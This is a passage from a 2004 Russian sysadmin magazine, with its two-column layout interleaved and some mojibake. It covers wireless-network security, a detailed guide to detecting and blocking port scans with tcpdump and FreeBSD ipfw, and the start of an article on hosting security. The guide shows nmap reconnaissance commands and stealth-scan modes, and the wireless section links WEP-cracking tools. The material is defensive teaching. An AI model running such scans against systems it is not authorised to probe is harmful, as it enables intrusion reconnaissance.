обслуживании, специфичная для беспроводных сетей. нибудь трудно угадываемое.
Суть атаки заключается в генерации радиошума на час-  Используете систему общего ключа вместо открытой
тоте работы беспроводной сети. Это не значит, что глу- системы.
шение сигнала является чётким признаком атаки, так как  Используйте фильтрацию MAC-адресов.
помехи могут исходить от посторонних радиоустройств,  Организуйте систематическую инвентаризацию бес-
таких как радиотелефоны, пейджеры, микроволновые проводных сетевых адаптеров, чтобы убедиться, что
печи и т. п. В таких случаях администратор должен при- каждый сотрудник пользуется своим адаптером.
нять следующие меры: отключить bluetooth-устройства в  Блокируйте MAC-адреса утраченных WLAN-адаптеров.
зоне действия беспроводной сети, убрать радиотелефо-  Применяйте пароли на точках доступа.
ны и прочую радиотехнику, методом исключений выявить  Обеспечьте сотрудников антивирусным программным
источник помех и убрать его. Умышленная атака проис- обеспечением и персональными межсетевыми экра-
ходит следующим образом: нами.
 Атакующий анализирует спектр.  Совмещая межсетевой экран с IPsec, SSH, или SSL,
 Выявляет частоты, на которых работает беспроводная вы значительно укрепите безопасность своей сети.
сеть.  Имейте в виду, что любой, находясь в зоне действия
 Генерирует мощный сигнал на найденных частотах, точки доступа, может подключиться к сети.
тем самым подавляя сигнал беспроводной сети.
Ссылки на программные продукты
К счастью, данный метод не распространён, так как 1. AirSnort – http://airsnort.sourceforge.net
конечный итог несоизмерим с затратами на его реализа- 2. WEPcrack – http://wepcrack.sourceforge.net
цию. Много мороки для отключения сети на некоторое 3. NetStumbler – http://www.netstumbler.com
время.
В то же время администратору достаточно просто пе-
реключить сеть на другую частоту.

Рекомендации по обеспечению
безопасности беспроводных сетей
Подводя итоги, рассмотрим ряд рекомендаций по обес-
печению безопасности беспроводной сети.
 Приобретайте WLAN-продукты с собственным меха-
низмом защиты.
 Установите RADIUS-серверы на кабельном участке
сети, для авторизации беспроводных клиентов. Имей-
те в виду, что Extensible Authentication Protocol – про-
токол расширенной авторизации (EAP) может быть ис-
пользован совместно с 802.1X.
 Блокируйте доступ к кабельной сети, пока RADIUS-сер-
вер не авторизирует WLAN-клиента.
 Устанавливайте межсетевой экран перед точкой дос-
тупа, это позволит заранее отфильтровать подозри-
тельную активность.
 Все неиспользуемые сервисы должны быть отключе-
ны, а попытки их использования записаны в систем-
ных журналах(SysLog), которые в свою очередь долж-
ны быть установлены в демилитаризованной зоне
(DMZ).
 Систему обнаружения атак (IDS) также никто не отме-
нял.
 Неплохой идеей является развёртка VPN и «отселе-
ние» WLAN в неё. Это позволит вам воспользоваться
следующими методами шифрации данных:
 IKE – 3DES, SHA-HMAC, DH Group 2 и общий ключ.
 IPSec – 3DES, SHA-HMAC, без PFS и режим тонне-
лирования.
 Активируйте WEP, несмотря на его несовершенность.
Статистика показывает, что всего лишь 30% точек
доступа использует WEP.

36
безопасность

САМ СЕБЕ АНТИХАКЕР


ЗАЩИТА ОТ ХАКЕРСКИХ АТАК С ПОМОЩЬЮ ipfw
На то и хакер в Сети, чтоб админ не дремал.
Народная мудрость

То, что Интернет является агрессивной средой, уже давно ни для кого не является новостью. Стоимость
информации может быть настолько высока, что с лихвой окупает любые затраты на ее получение.
Кроме того, обострение конкуренции подчас приводит к выбору весьма агрессивных методов борьбы
с «коллегами по цеху», одним из которых является вывод из строя или временная недоступность
сетевого оборудования конкурента. Ну и с каждым днем все острее становится проблема сетевого
хулиганства. Умение защищать сервер и локальную сеть предприятия от подобных атак становится
обязательным требованием к квалификации системного администратора даже на небольших
предприятиях, на которых самая секретная информация – почтовые ящики сотрудников.

СЕРГЕЙ СУПРУНОВ

38
безопасность
Известно, что любая грамотная атака начинается с раз- Наиболее важной информацией, содержащейся в IP-
ведки – сбора всей доступной информации об объекте заголовке, для нас является время жизни пакета и адре-
нападения. Цель данной статьи – познакомить читателя с са источника и приемника. Заметим, что информации о
основными методами подобной разведки и способами портах в IP-заголовке нет, поскольку данная информация
защиты от них с помощью пакетного фильтра ipfw. Попут- используется на транспортном уровне и не требуется для
но нам придется подробно рассмотреть базовые прото- маршрутизации пакета.
колы передачи данных (IP, TCP, UDP) и программу Помимо IP-протокола на сетевом уровне располагает-
tcpdump, позволяющую осуществлять контроль за прохо- ся также протокол ICMP – Internet Control Message Protocol,
дящими через машину пакетами. который используется для обмена служебной информаци-
ей между хостами. Наиболее известный и наглядный при-
Стек протоколов TCP/IP мер использования этого протокола – команда ping. Заго-
Протоколы TCP/IP являются базовыми в сети Интернет. ловок ICMP-пакета во многом идентичен IP-заголовку.
В эталонной модели OSI они занимают верхние уров-
ни, начиная с сетевого (протоколы ARP и RARP также Протоколы транспортного уровня
частично выполняют функции канального уровня). По- Транспортный уровень представлен протоколами TCP и
скольку наша задача – защита с помощью брандмауэ- UDP. Общий формат заголовка TCP-пакета:
ра ipfw, работающего на сетевом и транспортном уров-
нях, то подробно рассмотрим интернет-протоколы этих
двух уровней.
Òàáëèöà 1
Первые четыре байта содержат информацию о портах
источника и получателя (по два байта каждый). Номер пос-
ледовательности (4 байта) используется для нумерации
передаваемых байтов (позволяет контролировать порядок
получения и сборки). Следующие четыре байта (номер под-
тверждения) содержат номер последовательности следу-
ющего (ожидаемого) байта и устанавливаются при подтвер-
ждении получения предыдущего пакета. Далее следует
Протоколы сетевого уровня четыре бита длины заголовка и четыре зарезервирован-
Основным интернет-протоколом сетевого уровня являет- ных для дальнейшего использования бита. Чрезвычайно
ся протокол IP. В его задачу входит маршрутизация паке- важный 14-й байт (флаги TCP-заголовка) подробно рас-
тов в соответствии с IP-адресами, то есть определение смотрен в следующем абзаце. Далее по два байта занима-
маршрута следования пакета от источника к приемнику и ет информация об окне (размере буфера) приема (Window),
передача его по требуемому адресу, а также фрагмента- контрольной сумме и указателе на первый байт данных,
ция и сборка пакетов верхних уровней. Основной формат помеченный на первоочередную обработку (Urgent).
заголовка IP-пакета представлен на рисунке: Ниже представлен формат 14-го байта, содержащего
флаги TCP-пакета:

 FIN – флаг «мягкого» завершения соединения. При по-


Первый байт делится между номером версии прото- лучении пакета с этим флагом удаленная сторона пе-
кола (4 для IPv4) и длиной IP-заголовка HdrLen (как пра- редает информацию, накопленную в буфере, и завер-
вило 20 байт). Следующий байт задает тип обслужива- шает сеанс;
ния пакета (TOS), далее два байта – общая длина пакета.  SYN – флаг «синхронизации» используется при зап-
Следующие восемь байт содержат информацию о фраг- росе на установление соединения. Так, при желании
ментации пакета, необходимую для его последующей установить связь система выставляет пакет с флагом
сборки. Среди прочего здесь располагается флаг DF, ус- SYN. Удаленная система отвечает на него пакетом с
тановка которого запрещает фрагментацию пакета. Де- установленными битами SYN и ACK (см. ниже). В от-
вятый и десятый байты содержат информацию соответ- вет на этот пакет высылается пакет подтверждения с
ственно о времени жизни пакета (TTL) и протоколе флагом ACK, после чего TCP-соединение считается ус-
(Protocol) верхнего уровня, которому пакет должен быть тановленным;
передан для дальнейшей обработки; затем два байта –  RST – сигнал «сброса» (жесткий разрыв соединения).
контрольная сумма. Замыкают заголовок IP-адреса источ- При получении пакета с таким битом удаленная сис-
ника и приемника, занимающие по четыре байта. В об- тема должна прекратить сеанс связи немедленно;
щем случае далее могут следовать опциональные поля  PSH – команда на принудительную внеочередную пере-
(их количество определяется длиной заголовка пакета). дачу информации, накопленной в буфере (в нормальном
Затем идут собственно пользовательские данные. Под режиме TCP-пакеты отсылаются не сразу, а предвари-
пользователем в данном случае понимается протокол тельно накапливаются в буфере передачи и отсылаются
более высокого уровня (TCP или UDP). только при достижении определенного размера буфера);

№1(14), январь 2004 39


безопасность
 ACK – флаг «подтверждение приема». Данный флаг  -sN – в сканирующих пакетах не установлен ни один
должен выставляться в ответ на безошибочный при- флаг. Поскольку обе эти ситуации не предусмотрены
ем любого пакета; протоколом, то по реакции на нее удаленной системы
 URG – пакет содержит данные, имеющие высокий при- можно попытаться определить тип ОС и версии запу-
оритет (которые должны обрабатываться в первую оче- щенных программ;
редь).  -sP – обычный ping, то есть порты не сканируются, а
просто проверяется доступность всех хостов, перечис-
Наиболее важной с точки зрения фильтрации инфор- ленных в параметрах команды, с помощью пакетов
мацией TCP-заголовка являются флаги и адреса портов. «Echo Request» протокола ICMP;
IP-адреса в данном заголовке не передаются, поскольку  -sU – сканирование UDP-портов.
за маршрутизацию отвечает сетевой уровень, обслужи-
ваемый протоколом IP. Еще два полезных флага: -O, который инициирует по-
Формат UDP-заголовка намного проще: пытку определить операционную систему на удаленной
машине, и –I, по которому nmap пытается определить
пользователя, с правами которого запущена служба, об-
То есть в данном случае передаются номера портов служивающая сканируемый порт.
источника и приемника, длина пакета и контрольная Помимо nmap существует множество программ, в той
сумма заголовка, после чего следуют пользовательс- или иной мере решающих задачу определения открытых
кие данные. портов на удаленной машине. Одной их таких для среды
Windows является XSpider, разрабатываемый компанией
Основные способы сканирования портов Positive Technologies.
Для того чтобы получить информацию об атакуемой ма-
шине или сети, чаще всего используется сканирование Программа tcpdump
портов. Этот метод заключается в том, что последова- В состав большинства операционных систем семейства
тельно отсылаются пакеты, предназначенные различным Unix входит очень полезная утилита tcpdump, которая по-
портам удаленной машины, и на основании полученных зволяет системному администратору просматривать и
ответов делается вывод о том, открыт данный порт (то анализировать пакеты, проходящие через машину, на
есть работает ли программа, обслуживающая пакеты, которой она запущена. Для работы с ней вы должны иметь
приходящие на него) или закрыт. Также по характеру ре- права root.
акции «жертвы» на нестандартные пакеты довольно ча- Утилита имеет следующие ключи запуска:
сто удается определить операционную систему, работа-
ющую на сканируемой машине, и версии обслуживаю- tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ]
[ -i interface ] [ -r file ] [ -s snaplen ]
щих соответствующие порты программ. [ -T type ] [ -w file ] [ expression ]
Одной из наиболее распространенных в среде Unix
утилит для определения доступных портов является про- Ознакомиться со всеми ключами можно на странице
грамма nmap. Для FreeBSD она может быть установлена справочного руководства man tcpdump(1). Здесь мы рас-
из коллекции портов: /usr/ports/security/nmap. смотрим только наиболее полезные параметры.
Упрощенно формат ее запуска следующий: Запущенная без дополнительных параметров, tcpdump
будет выводить на экран заголовки всех пакетов, прохо-
# nmap [options] hosts дящих через все активные интерфейсы системы. Список
прослушиваемых интерфейсов будет отображен в первой
Параметр hosts задает список сканируемых хостов строке:
через запятую или диапазон сканируемых адресов через
дефис. Опции задают метод сканирования и могут иметь
следующие значения:
 -sT – обычное сканирование, когда соединение с каж-
дым портом устанавливается полностью, а затем раз- В общем случае формат выводимой информации сле-
рывается; дующий:
 -sS – полусоединение, когда связь разрывается после
ответа SYN+ACK удаленной машины;
 -sF – сканирование пакетами с установленным фла- Timestamp – время прохождения пакета с точностью
гом FIN. Поскольку соединение не установлено, то уда- до микросекунд. Далее следуют адреса и порты источ-
ленная система обрабатывает эту ситуацию как оши- ника и приемника (адрес и порт разделены точкой). И
бочную, причем для различных операционных систем адрес, и порт по возможности представляются в сим-
реакция может быть различной, что в ряде случаев по- вольном виде. Если определить его не удается, печа-
зволяет также определить ОС, работающую на скани- тается IP-адрес и номер порта. После двоеточия следу-
руемой машине; ет перечисление установленных флагов («S» – SYN, «F»
 -sX – в сканирующих пакетах устанавливаются все – FIN, «P» – PSH, «R» – RST, «.» – ни один из этих фла-
флаги; гов не установлен). Следующий необязательный блок

40
безопасность
задает начальный (first) и конечный (last) номера пос- host.ru отсылает подтверждения на полученные пакеты,
ледовательности пакетов и число байт (bytes) пользо- одновременно открывая еще одно соединение, скорее
вательских данных в ней. Конечный номер (last) в пос- всего для загрузки изображения, содержащегося на зап-
ледовательность не включается. Запись «ack» включа- рошенной странице.
ется в строку, если пакет содержит флаг ACK. «Win» Рассмотрим наиболее полезные параметры програм-
указывает размер окна приема, «urg» устанавливает- мы tcpdump:
ся, если пакет имеет данные с высоким приоритетом и  -c № – завершает работу после получения № пакетов;
должен обрабатываться в первую очередь (установлен  -e – выводит информацию, содержащуюся в заголов-
флаг URG). Секция «options» может содержать допол- ке канального уровня. Данная информация выводит-
нительную информацию о пакете, заключаемую в уг- ся между штампом времени и адресом источника и
ловые скобки. содержит, в частности, MAC-адреса источника и при-
В качестве примера рассмотрим, как выглядит в емника;
tcpdump запрос к веб-серверу 1.2.3.4 со стороны хоста  -i interface – позволяет прослушивать указанный ин-
host.ru. Для сокращения записи временные штампы опу- терфейс (по умолчанию прослушиваются все актив-
щены (этого можно достичь с помощью параметра –t): ные интерфейсы);
 -n – все адреса хостов и порты представляются в циф-
ровом виде;
 -N – не печатать полное доменное имя. Например, если
данная опция установлена, то адрес и порт
«host.server.ru.http» будут представлены в виде
«host.http»;
 -q – минимизирует выводимую информацию. Резуль-
тат будет примерно таким:

То есть указываются только адреса и порты источни-


В первой строке хост host.ru со своего порта 2200 ка и приемника, протокол верхнего уровня, размер пе-
отправляет на порт http хоста 1.2.3.4 запрос на уста- реданной информации и некоторые дополнительные све-
новку соединения (флаг SYN). Начальный и конечный дения. Использование этого параметра совместно с оп-
номера последовательности совпадают, поскольку цией «-t» (см. ниже) позволит еще больше сократить вы-
пользовательская информация при этом не передает- водимую информацию, и если повезет, то строки даже
ся. Размер буфера приема – 8192 байта. В угловых скоб- смогут полностью поместиться на экране.
ках передается дополнительная информация, в том  -S – выводит абсолютные, а не относительные, но-
числе параметр mss (max segment size), ограничиваю- мера последовательности для установленных соеди-
щий количество пользовательской информации в од- нений;
ном пакете. Признак (DF) сообщает о том, что фраг-  -t – не выводит на экран штамп времени, что несколь-
ментация данного пакета запрещена. Хост 1.2.3.4 от- ко укорачивает строку вывода;
вечает пакетом с установленным флагом SYN и фла-  -tt – выводит неформатированный штамп времени в
гом подтверждения ACK, вместе с которым передается виде «СЕКУДНЫ.МИКРОСЕКУНДЫ»;
и номер подтверждения (номер последовательности,  -v, -vv – управляет выводом дополнительной инфор-
который хост 1.2.3.4 будет ожидать в следующем паке- мации (такой, как время жизни пакета TTL, идентифи-
те). В третьей строке host.ru отвечает пакетом с фла- кационная информация, и т. д.);
гом ACK (далее нумерация последовательностей отно-  -x – выводит после информации о заголовках каж-
сительная, то есть номер 1 означает, что ожидается дый пакет в шестнадцатеричном виде (информация
первый пакет в данном сеансе связи). После этого со- заголовка для сокращения записи в примере обре-
единение считается установленным. зана):
В следующем пакете host.ru отправляет пользовательс-
кий запрос (500 байт) с установленным флагом очистки
буфера PSH, а заодно подтверждает прием предыдуще-
го пакета (установленный флаг ACK). В ответ хост 1.2.3.4
отсылает серию пакетов с запрошенной информацией
(первые четыре по 1460 байт (действует ограничение
mss, установленное ранее и запрещающее передавать
в одном пакете больше 1460 байт пользовательской ин-
формации), в последнем – оставшиеся 72 байта). Далее

№1(14), январь 2004 41


безопасность
Перечисленные выше параметры позволяют органи- ключи позволяют соответственно писать информацию в
зовать вывод информации в более удобном виде. Следу- файл file и читать ранее сохраненные данные из файла.
ющие опции, задаваемые в параметре «expression», по- Эта возможность позволяет, например, включить на ночь
зволяют ограничить выборку пакетов определенными ус- запись в файл пакетов со всеми флагами, установлен-
ловиями. Рассмотрим только наиболее часто используе- ными в единицу, а затем проанализировать полученный
мые на конкретных примерах. файл. Однако нужно помнить, что при интенсивной ра-
Ограничить собираемую информацию конкретным ад- боте размер такого файла может расти очень быстро и
ресом позволяет следующая команда: заполнить все пространство на диске.
Помимо перечисленных, tcpdump имеет еще целый ряд
# tcpdump host <host> возможностей, однако они не имеют прямого отношения
к материалу данной статьи, и потому рассматриваться
При этом будут выбираться только пакеты, источни- здесь не будут.
ком или приемником которых является <host>. Конкрети-
зировать направление передачи можно, указав дополни- Использование ipfw для защиты
тельный параметр: от сканирования
Вот мы и подошли к основному вопросу статьи. Дальней-
# tcpdump {src | dst} host <host> шее изложение предполагает, что читатель знаком с воп-
росами установки и настройки пакетного фильтра ipfw,
Таким же образом просмотр пакетов можно ограни- входящего в состав FreeBSD.
чить по тому или иному порту или по конкретному про- В данной статье остановимся лишь на тех особенно-
токолу: стях, которые будут использоваться нами для построе-
ния правил защиты. Все примеры относятся к версии
# tcpdump [{src | dst}] port <port> ipfw, используемой начиная с 5-й версии FreeBSD. В бо-
# tcpdump {tcp | udp | icmp}
лее ранних версиях некоторые особенности могут не
Ограничить выборку конкретной подсетью позволяет работать или иметь несколько отличный от приведенно-
ключевое слово «net». Допускается использование как го в статье синтаксис.
десятично-точечной нотации, так и нотации CIDR: В общем виде правило ipfw задается следующим об-
разом:
# tcpdumt net 192.168.0.0 mask 255.255.255.0
# tcpdumt net 192.168.0.0/24 Íîìåð Äåéñòâèå Ïðîòîêîë from Èñòî÷íèê to Ïðèåìíèê [Îïöèè]
Наибольшую ценность имеет возможность задавать
выражения выборки. Запись вида proto[byte] позволяет Интерес для нас представляет секция Опции, которая
выбрать конкретный байт в заголовке протокола proto. может содержать один или несколько следующих пара-
К полученному байту можно применить операции срав- метров:
нения (=, !=, <, >), а также бинарные операции «&» (AND),  via интерфейс – имя интерфейса системы (например,
«|» (OR) и другие. Например, чтобы выбрать пакеты, в сетевой карты). Если этот параметр задан, правило
которых установлены флаги SYN или ACK в заголовке будет применяться только к пакетам, проходящим че-
TCP-протокола, можно воспользоваться командой: рез указанное устройство;
 {in | out} – опционально может быть указано направле-
# tcpdump ‘tcp[13] & 18 != 0’ ние прохождения пакета (in – входящий по отношению
к машине, на которой работает ipfw; out – исходящий;
Кавычки используются, чтобы не позволить команд- по умолчанию учитываются как входящие, так и исхо-
ной оболочке самой интерпретировать специальные сим- дящие пакеты);
волы типа «&». В приведенном выше примере мы выби-  frag – правилу будут удовлетворять только фрагмен-
раем 14-й байт TCP-заголовка, содержащий флаги (не тированные пакеты (кроме первого фрагмента);
забывайте, что нумерация начинается с нуля), и выпол-  icmptypes types – тип icmp-пакетов (types может иметь
няем операцию логического побитного сложения его со- следующие значения: 0 – echo replay, 3 – destination
держимого с числом «10010» (десятичное 18), то есть unreach, 5 – redirect, 8 – echo request, 11 – time-to-live
выделяем разряды, соответствующие флагам ACK и exceeded, 12 – IP-header bad, 15 – information request,
SYN. Если хотя бы один из них установлен, то результат 16 – information replay и другие);
не будет равен нулю, и информация по данному пакету  iplen length – длина IP-пакета;
будет выведена на экран.  established – TCP-пакеты с установленными флагами
Следующие две команды позволят выбирать пакеты, RST или ACK, то есть пакеты, принадлежащие уста-
у которых установлены все флаги (первая) и не установ- новленному соединению;
лено ни одного (вторая):  ipttl ttl – пакеты с определенным временем жизни (time-
to-live, ttl);
# tcpdumt ‘tcp[13] & 63 = 63’
# tcpdump ‘tcp[13] & 63 = 0’
 setup – пакеты, запрашивающие установление соеди-
нения (с установленным битом SYN, но без флага
Еще два полезных параметра: «-w file» и «-r file». Эти ACK);

42
безопасность
 limit {src-addr | src-port | dst-addr | dst-port} N – вво- (параметры nmap –sX и –sN соответственно) можно сде-
дит ограничение на число одновременных соедине- лать бесполезным, добавив в цепочку следующие два
ний, удовлетворяющих правилу. Все последующие правила:
(свыше N) соединения будут считаться не соответ-
ствующими данному правилу. Признаки src-addr, src- # ipfw add number reject tcp from any to any ↵
tcpflags fin, syn, rst, psh, ack, urg
port, dst-addr и dst-port указывают, что учитываются # ipfw add number reject tcp from any to any ↵
пакеты с одного IP-адреса источника, с порта источ- tcpflags !fin, !syn, !rst, !psh, !ack, !urg
ника, на один адрес приемника или на порт прием-
ника соответственно. То есть если в пакете все флаги установлены или, на-
оборот, сброшены, то пакет будет отброшен соответству-
В качестве примера приведу правило, позволяющее ющим правилом.
ограничить число TCP-соединений на данную машину с От сканирования, выполняемого с параметрами nmap
одного IP-адреса (признак src-addr): –sT и –sS («соединение» и «полусоединение»), нельзя
закрыться запрещающим правилом, подобно изложенно-
# ipfw add number allow tcp from any to me setup ↵ му выше, поскольку при данных методах сканирования
limit src-addr 5
соединение устанавливается (или начинает устанавли-
Данное правило пропустит только первые 5 запросов ваться) в соответствии с протоколом TCP. Естественно,
на соединение (признак setup), поступившие с одного IP- мы не можем запретить все пакеты, запрашивающие со-
адреса, а для остальных пакетов с этого адреса проверка единение с тем или иным портом. Однако поскольку и
на соответствие правилам будет продолжена, и в случае реакция на такие пакеты будет стандартной, то злоумыш-
закрытого брандмауэра они будут отброшены после про- ленник уже не сможет получить дополнительную инфор-
верки всей цепочки правил. мацию о системе, такую, например, как версия ОС. Кро-
 uid user – пакеты, посланные указанным пользовате- ме того, интенсивность сканирования можно существен-
лем или адресованные указанному пользователю; но снизить, установив ограничение «limit» на число со-
 gid group – пакеты, посланные пользователем, принад- единений с одного адреса (см. выше).
лежащим группе group или адресованные пользова- Кроме того, нельзя забывать, что грамотная полити-
телю этой группы; ка фильтрации пакетов, когда разрешаются только со-
 tcpwin win – TCP-пакеты с указанным размером окна единения с нужными портами и с ограниченного числа
приема (window); адресов, позволит сделать сканирование практически
 tcpflags флаги – задает перечень флагов TCP-паке- бесполезным.
та, которые должны быть установлены. Допускаются Раз уж мы взялись защищать нашу сеть от хакеров,
значения fin, syn, rst, psh, ack и urg. Символ «!» перед заодно добавим правило против спуфинга (подмены IP-
именем флага означает, что данный флаг должен адресов на легальные). Смысл спуфинга заключается в
быть сброшен. том, что злоумышленник отсылает пакеты от имени до-
веренного хоста, подменяя IP-адрес отправителя. Напри-
Любой из этих параметров может предваряться слу- мер, мы можем закрыть доступ к порту 110 (POP3) со всех
жебным словом «not», которое инвертирует значение па- адресов, кроме локальной подсети 193.163.0.0/24. Но если
раметра. хакер пошлет на порт 110 пакет от имени пользователя
Как мы видели, один из способов сканирования пор- локальной сети, например, подставив адрес 193.163.0.12,
тов удаленной машины – посылка пакетов с установлен- то он получит доступ к порту. Конечно, исключить такую
ным флагом FIN. Такое сканирование может быть выпол- возможность можно грамотной маршрутизацией, но под-
нено, например, с помощью команды: страховаться никогда не вредно. Добавим в цепочку еще
одно правило:
# nmap –sF <host>
# ipfw add 10007 deny ip from any to any not verrevpath in
В нормальной ситуации данный флаг сигнализирует
об окончании сеанса связи, но поскольку в данном слу- В результате пакеты, пришедшие с интерфейса, отлич-
чае связь не установлена, то запрошенная система отве- ного от того, куда они были бы направлены маршрутиза-
чает сообщением об ошибке, по наличию которого хакер тором, будут отброшены. Это исключит возможность вы-
и определяет, открыт сканируемый порт или нет. Защи- дать себя за легального пользователя локальной сети,
титься от подобного сканирования можно с помощью сле- подключившись извне (конечно, только в том случае, ког-
дующего правила: да локальная сеть и «внешний мир» подключены через
разные интерфейсы).
# ipfw add number reject tcp from any to any ↵ Кроме того, никогда не лишне (особенно когда речь
not established tcpflags fin
идет о безопасности) вести журнал всех «злонамеренных»
В соответствии с ним все TCP-пакеты с установлен- пакетов. Для этого правило нужно снабдить ключевым
ным флагом FIN, но не принадлежащие установленным словом «log» после действия, которое должно быть вы-
соединениям (not established) будут отбрасываться. полнено по отношению к пакету, удовлетворившему дан-
Сканирование с установкой или сбросом всех флагов ному правилу, например:

№1(14), январь 2004 43


безопасность
# ipfw add 10007 deny log ip from any to any not verrevpath in Однако нужно иметь в виду, что /etc/rc.firewall – сис-
темный файл, и его лучше не изменять (это позволит из-
Теперь, если пакет будет получен с «неправильно- бежать проблем, например, при обновлении системы с
го» интерфейса, то syslogd получит сообщение уровня помощью cvsup).
LOG_SECURITY, которое будет обработано в соответ- Более правильным является конфигурация ipfw как
ствии с настройками в /etc/syslog.conf. пользовательского. Для этого в файле /etc/rc.conf поме-
Кроме того, ядро системы должно быть собрано с няем тип брандмауэра:
опцией «IPFIREWALL_VERBOSE». Чтобы снизить веро-
ятность переполнения диска журнальной информаци- firewall_type=”/etc/ipfw.conf”
ей, предусмотрен механизм ограничения числа одина-
ковых записей. Ограничение по умолчанию задается Теперь создадим файл ipfw.conf в папке /etc (впрочем,
опцией ядра, например: имя файла может быть любым удобным для вас) и поме-
стим в него наши правила так, как если бы вводили их с
option “IPFIREWALL_VERBOSE_LIMIT=100” консоли, только без имени программы ipfw. То есть выг-
лядеть этот файл будет примерно так:
В этом случае в журнал будут записаны только 100 за-
писей, соответствующих правилу. Кроме того, это значе- # Çàïðåò X-ñêàíèðîâàíèÿ:
add 1001 reject log tcp from any to any ↵
ние можно переопределить для конкретного правила, за- tcpflags fin, syn, rst, psh, ack, urg
дав секцию logamount number после ключевого слова log: # Çàïðåò N-ñêàíèðîâàíèÿ:
add 1002 reject log tcp from any to any ↵
tcpflags !fin, !syn, !rst, !psh, !ack, !urg
# ipfw add number reject log logamount 5 tcp from ↵ # Çàïðåò FIN-ñêàíèðîâàíèÿ:
any to any not established tcpflags fin add 1003 reject log tcp from any to any ↵
not established tcpflags fin
Журналирование – функция очень полезная, однако # Çàùèòà îò ñïóôèíãà
add 1004 deny log ip from any to any not verrevpath in
если у вас недостаточно места на диске, то использо- # Îãðàíè÷åíèå ÷èñëà îäíîâðåìåííûõ ñîåäèíåíèé:
вать ее следует очень осторожно, поскольку одним из add 1005 allow ip from any to any setup limit src-addr 10
распространенных последствий DoS-атак является пе-
реполнение раздела файловой системы журнальной ин- Комментарии, как обычно, предваряются символом
формацией и, как следствие, – отсутствие какого бы то «#». Теперь при загрузке системы автоматически будут
ни было контроля за попытками подключения к системе включаться правила сначала из rc.firewall, затем из пользо-
и отказ таких служб, как сервер электронной почты, ко- вательского файла (в нашем случае ipfw.conf).
торые требуют дискового пространства для своей рабо- На первый взгляд запрет нестандартных пакетов мо-
ты, а порой и полная неработоспособность системы. К жет показаться излишним, поскольку в случае «закры-
слову заметим, что последствия этого можно снизить того» брандмауэра они в любом случае будут отброше-
правильной разбивкой диска на разделы, когда не осо- ны последним запрещающим правилом. Однако их яв-
бо важная, но быстрорастущая информация (от ipfw, ный запрет позволит вести запись попыток сканирова-
apache, squid и т. д.) записывается на свой раздел и не ния тем или иным методом, что даст возможность вов-
влияет на разделы, хранящие, например, логи автори- ремя обнаружить чей-то интерес к вашей системе и пред-
зации и спул электронной почты. принять ряд превентивных мер. Кроме того, размеще-
Итак, мы создали набор базовых правил, которые су- ние этих правил в начале цепочки позволит несколько
щественно усложнят сканирование нашей системы. Те- разгрузить систему в случае массированного сканиро-
перь нам нужно записать эти правила в конфигурацион- вания, поскольку нестандартные пакеты не станут про-
ный файл, чтобы при перезагрузке системы они автома- веряться на соответствие всем правилам цепочки, а бу-
тически активировались. Для ipfw есть две возможности дут отброшены в ее начале.
увековечить наши правила. Итак, мы рассмотрели основные пути защиты сети,
Во-первых, это конфигурационный файл /etc/rc.firewall. первая линия обороны которой построена на базе
По умолчанию в нем уже содержится два правила с номе- FreeBSD с брандмауэром ipfw. Безусловно, соответству-
рами 100 и 200 (иногда и правило 300), которые служат ющей настройки еще не достаточно, чтобы спать спо-
для обеспечения доступа к «внутреннему» интерфейсу койно. Ежедневный анализ log-файлов, непрерывное
системы lo0 и ограничивают доступ к «внутренним» ад- повышение общей грамотности в области протоколов,
ресам системы 127.0.0.0/8. По аналогии с ними можно межсетевых экранов и т. д. – вот базовые составляю-
дописать в этот файл и наши правила в виде: щие безопасности. Надеюсь, что эта статья позволит вам
более осознанно строить защиту вашей сети.
$fwcmd add ÏÐÀÂÈËÎ
Дополнительные материалы:
Например, упомянутые выше два правила заданы сле- 1. Чубин И. Ipfw и управление трафиком в FreeBSD. //
дующим образом: Журнал «Системный администратор», №6(7) 2003 г. –
26-34 с.
$fwcmd add 100 pass all from any to any via lo0 2. Страницы справочного руководства man ipfw, man
$fwcmd add 200 deny all from any to 127.0.0.0/8 tcpdump, man nmap.

44
безопасность

БЕЗОПАСНОСТЬ УСЛУГ ХОСТИНГА


Размещение данных с использованием услуг, предоставляемых
хостинг-провайдерами – весьма распространенная и востребованная
сегодня возможность. В статье рассматриваются вопросы собственной
безопасности для тех, кто воспользовался данной услугой, и то,
насколько это безопасно для других членов сообщества Интернет.

МАКСИМ КОСТЫШИН

46
безопасность
Возможности сети Интернет для рекламы, публикации Ни в одном из проанализированных договоров не пред-
необходимой информации или создания собственного полагается какая-либо материальная или моральная ком-
интернет-магазина активно используются частными ли- пенсация в случаях нанесения ущерба Абоненту при ис-
цами, коммерческими компаниями, государственными пользовании услуг хостинга, предоставляемого Провай-
организациями. В ряде случаев для организации соб- дером. Упоминания об этом, вообще говоря, в договорах
ственного сайта или отдельной веб-странички в Интер- встречаются, однако такие моменты не более чем декла-
нете юридическим и физическим лицам приходится об- рация прав Абонента, которые доказать и, естественно,
ращаться за помощью в компании, предоставляющие использовать будет весьма проблематично. В некоторых
услуги так называемого веб-хостинга. Основная при- случаях обещания Провайдеров обеспечить необходимые
чина – финансовая выгодность решения (не надо дер- условия безопасности клиентов носят чисто рекламный
жать специально обученный персонал и беспокоиться характер и ни на чем не основываются.
о поддержании круглосуточного канала в Интернете, об- Попытаемся перечислить те вопросы, которые каса-
ладающего, кроме всего прочего, достаточной пропус- ются обеспечения определенного уровня безопасности
кной способностью). услуг и должны быть подкреплены конкретной, в том чис-
ле финансовой, ответственностью, при соглашениях меж-
Вопросы безопасности в договорных ду Провайдером и Абонентом.
документах на услуги хостинга 1. Доступность канала для обновления сайта (гаранти-
Анализ значительного количества договоров (было изу- рованная возможность выполнения действий по обнов-
чено более двадцати типовых договоров) хостинг-провай- лению Абонентом данных своего сайта).
деров (далее по тексту «Провайдеров») как Российской 2. Конфиденциальность информации учетных записей
Федерации, так и стран СНГ, по вопросам, связанным с Абонента (наличие необходимых условий конфиден-
обеспечением безопасности при оказании хостинг-услуг, циальности при выполнении действий по идентифи-
показал, что в настоящее время эти нюансы практически кации и авторизации Абонента для случаев обновле-
не оговариваются. Требования по безопасности в основ- ния данных сайта).
ном предъявляются к пользователю услуг хостинга (да- 3. Целостность данных сайта Абонента, а также выпол-
лее по тексту «Абоненту»). нение Провайдером работ по восстановлению сайта
Абоненту предписывается: при авариях.
 ограничивать содержание информации и перечень 4. Доступность сайта Абонента из Интернета.
программного обеспечения, размещаемых на соб- 5. Надежность функционирования сайта Абонента, в том
